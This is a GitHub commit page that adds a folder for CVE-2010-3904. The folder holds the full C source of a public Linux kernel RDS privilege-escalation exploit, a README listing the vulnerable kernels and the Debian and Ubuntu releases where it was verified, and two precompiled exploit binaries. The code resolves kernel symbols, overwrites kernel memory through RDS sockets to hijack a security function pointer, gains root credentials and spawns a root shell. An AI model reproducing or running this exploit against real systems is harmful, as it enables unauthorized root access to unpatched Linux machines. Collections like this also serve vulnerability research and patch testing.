Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 0f51b6c

Browse files
committed
1 parent fc6b46b commit 0f51b6c

File tree

4 files changed

+315
-0
lines changed

4 files changed

+315
-0
lines changed

CVE-2010-3904/15285

Lines changed: 285 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,285 @@
1+
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
2+
3+
/*
4+
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
5+
* CVE-2010-3904
6+
* by Dan Rosenberg <[email protected]>
7+
*
8+
* Copyright 2010 Virtual Security Research, LLC
9+
*
10+
* The handling functions for sending and receiving RDS messages
11+
* use unchecked __copy_*_user_inatomic functions without any
12+
* access checks on user-provided pointers. As a result, by
13+
* passing a kernel address as an iovec base address in recvmsg-style
14+
* calls, a local user can overwrite arbitrary kernel memory, which
15+
* can easily be used to escalate privileges to root. Alternatively,
16+
* an arbitrary kernel read can be performed via sendmsg calls.
17+
*
18+
* This exploit is simple - it resolves a few kernel symbols,
19+
* sets the security_ops to the default structure, then overwrites
20+
* a function pointer (ptrace_traceme) in that structure to point
21+
* to the payload. After triggering the payload, the original
22+
* value is restored. Hard-coding the offset of this function
23+
* pointer is a bit inelegant, but I wanted to keep it simple and
24+
* architecture-independent (i.e. no inline assembly).
25+
*
26+
* The vulnerability is yet another example of why you shouldn't
27+
* allow loading of random packet families unless you actually
28+
* need them.
29+
*
30+
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
31+
* joberheide, bla, sts, and VSR
32+
*
33+
*/
34+
35+
36+
#include <stdio.h>
37+
#include <unistd.h>
38+
#include <stdlib.h>
39+
#include <fcntl.h>
40+
#include <sys/types.h>
41+
#include <sys/socket.h>
42+
#include <netinet/in.h>
43+
#include <errno.h>
44+
#include <string.h>
45+
#include <sys/ptrace.h>
46+
#include <sys/utsname.h>
47+
48+
#define RECVPORT 5555
49+
#define SENDPORT 6666
50+
51+
int prep_sock(int port)
52+
{
53+
54+
int s, ret;
55+
struct sockaddr_in addr;
56+
57+
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
58+
59+
if(s < 0) {
60+
printf("[*] Could not open socket.\n");
61+
exit(-1);
62+
}
63+
64+
memset(&addr, 0, sizeof(addr));
65+
66+
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
67+
addr.sin_family = AF_INET;
68+
addr.sin_port = htons(port);
69+
70+
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
71+
72+
if(ret < 0) {
73+
printf("[*] Could not bind socket.\n");
74+
exit(-1);
75+
}
76+
77+
return s;
78+
79+
}
80+
81+
void get_message(unsigned long address, int sock)
82+
{
83+
84+
recvfrom(sock, (void *)address, sizeof(void *), 0,
85+
NULL, NULL);
86+
87+
}
88+
89+
void send_message(unsigned long value, int sock)
90+
{
91+
92+
int size, ret;
93+
struct sockaddr_in recvaddr;
94+
struct msghdr msg;
95+
struct iovec iov;
96+
unsigned long buf;
97+
98+
memset(&recvaddr, 0, sizeof(recvaddr));
99+
100+
size = sizeof(recvaddr);
101+
102+
recvaddr.sin_port = htons(RECVPORT);
103+
recvaddr.sin_family = AF_INET;
104+
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
105+
106+
memset(&msg, 0, sizeof(msg));
107+
108+
msg.msg_name = &recvaddr;
109+
msg.msg_namelen = sizeof(recvaddr);
110+
msg.msg_iovlen = 1;
111+
112+
buf = value;
113+
114+
iov.iov_len = sizeof(buf);
115+
iov.iov_base = &buf;
116+
117+
msg.msg_iov = &iov;
118+
119+
ret = sendmsg(sock, &msg, 0);
120+
if(ret < 0) {
121+
printf("[*] Something went wrong sending.\n");
122+
exit(-1);
123+
}
124+
}
125+
126+
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
127+
{
128+
129+
if(!fork()) {
130+
sleep(1);
131+
send_message(value, sendsock);
132+
exit(1);
133+
}
134+
else {
135+
get_message(addr, recvsock);
136+
wait(NULL);
137+
}
138+
139+
}
140+
141+
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
142+
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
143+
_commit_creds commit_creds;
144+
_prepare_kernel_cred prepare_kernel_cred;
145+
146+
int __attribute__((regparm(3)))
147+
getroot(void * file, void * vma)
148+
{
149+
150+
commit_creds(prepare_kernel_cred(0));
151+
return -1;
152+
153+
}
154+
155+
/* thanks spender... */
156+
unsigned long get_kernel_sym(char *name)
157+
{
158+
FILE *f;
159+
unsigned long addr;
160+
char dummy;
161+
char sname[512];
162+
struct utsname ver;
163+
int ret;
164+
int rep = 0;
165+
int oldstyle = 0;
166+
167+
f = fopen("/proc/kallsyms", "r");
168+
if (f == NULL) {
169+
f = fopen("/proc/ksyms", "r");
170+
if (f == NULL)
171+
goto fallback;
172+
oldstyle = 1;
173+
}
174+
175+
repeat:
176+
ret = 0;
177+
while(ret != EOF) {
178+
if (!oldstyle)
179+
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
180+
else {
181+
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
182+
if (ret == 2) {
183+
char *p;
184+
if (strstr(sname, "_O/") || strstr(sname, "_S."))
185+
continue;
186+
p = strrchr(sname, '_');
187+
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
188+
p = p - 4;
189+
while (p > (char *)sname && *(p - 1) == '_')
190+
p--;
191+
*p = '\0';
192+
}
193+
}
194+
}
195+
if (ret == 0) {
196+
fscanf(f, "%s\n", sname);
197+
continue;
198+
}
199+
if (!strcmp(name, sname)) {
200+
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
201+
fclose(f);
202+
return addr;
203+
}
204+
}
205+
206+
fclose(f);
207+
if (rep)
208+
return 0;
209+
fallback:
210+
/* didn't find the symbol, let's retry with the System.map
211+
dedicated to the pointlessness of Russell Coker's SELinux
212+
test machine (why does he keep upgrading the kernel if
213+
"all necessary security can be provided by SE Linux"?)
214+
*/
215+
uname(&ver);
216+
if (strncmp(ver.release, "2.6", 3))
217+
oldstyle = 1;
218+
sprintf(sname, "/boot/System.map-%s", ver.release);
219+
f = fopen(sname, "r");
220+
if (f == NULL)
221+
return 0;
222+
rep = 1;
223+
goto repeat;
224+
}
225+
226+
int main(int argc, char * argv[])
227+
{
228+
unsigned long sec_ops, def_ops, cap_ptrace, target;
229+
int sendsock, recvsock;
230+
struct utsname ver;
231+
232+
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
233+
printf("[*] by Dan Rosenberg\n");
234+
235+
uname(&ver);
236+
237+
if(strncmp(ver.release, "2.6.3", 5)) {
238+
printf("[*] Your kernel is not vulnerable.\n");
239+
return -1;
240+
}
241+
242+
/* Resolve addresses of relevant symbols */
243+
printf("[*] Resolving kernel addresses...\n");
244+
sec_ops = get_kernel_sym("security_ops");
245+
def_ops = get_kernel_sym("default_security_ops");
246+
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
247+
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
248+
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
249+
250+
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
251+
printf("[*] Failed to resolve kernel symbols.\n");
252+
return -1;
253+
}
254+
255+
/* Calculate target */
256+
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
257+
258+
sendsock = prep_sock(SENDPORT);
259+
recvsock = prep_sock(RECVPORT);
260+
261+
/* Reset security ops */
262+
printf("[*] Overwriting security ops...\n");
263+
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
264+
265+
/* Overwrite ptrace_traceme security op fptr */
266+
printf("[*] Overwriting function pointer...\n");
267+
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
268+
269+
/* Trigger the payload */
270+
printf("[*] Triggering payload...\n");
271+
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
272+
273+
/* Restore the ptrace_traceme security op */
274+
printf("[*] Restoring function pointer...\n");
275+
write_to_mem(target, cap_ptrace, sendsock, recvsock);
276+
277+
if(getuid()) {
278+
printf("[*] Exploit failed to get root.\n");
279+
return -1;
280+
}
281+
282+
printf("[*] Got root!\n");
283+
execl("/bin/sh", "sh", NULL);
284+
285+
}

CVE-2010-3904/README.md

Lines changed: 30 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,30 @@
1+
# CVE-2010-3904
2+
3+
CVE-2010-3904
4+
5+
Vulnerability reference:
6+
* [CVE-2010-3904](http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=2010-3904)
7+
* [exp-db](http://www.exploit-db.com/exploits/15285/)
8+
9+
## Kernels
10+
```
11+
2.6.30, 2.6.31, 2.6.32, 2.6.33, 2.6.34, 2.6.35, 2.6.36
12+
```
13+
14+
### This binary has been verified on:
15+
- Debian 6 - Linux 2.6.31-1-686 32bit
16+
- Ubuntu 10.10 - 2.6.35-19-generic-pae #28-Ubuntu x86_32
17+
- Ubuntu 10.04 - 2.6.32-21-generic-pae #32-Ubuntu x86_32
18+
- Ubuntu 10.04.1 - 2.6.32-24-generic-pae #39-Ubuntu x86_32
19+
- Ubuntu 9.10 - 2.6.31-14-generic-pae #48-Ubuntu x86_32
20+
21+
- Debian 6 - Linux 2.6.31-1-amd64 x86_64
22+
- Debian 6 - Linux 2.6.32-trunk-amd64 x86_64
23+
- Debian 6 - Linux 2.6.34-1-amd64 x86_64
24+
- Debian 6 - Linux 2.6.35-trunk-amd64 x86_64
25+
- Ubuntu 10.10 - 2.6.35-19-server #28-Ubuntu x86_64
26+
- Ubuntu 10.04.1 - 2.6.32-24-server #39-Ubuntu x86_64
27+
- Ubuntu 10.04 - 2.6.32-21-server #32-Ubuntu x86_64
28+
- Ubuntu 9.10 - 2.6.31-14-server #48-Ubuntu x86_64
29+
30+

CVE-2010-3904/rds

569 KB
Binary file not shown.

CVE-2010-3904/rds64

678 KB
Binary file not shown.

0 commit comments

Comments
 (0)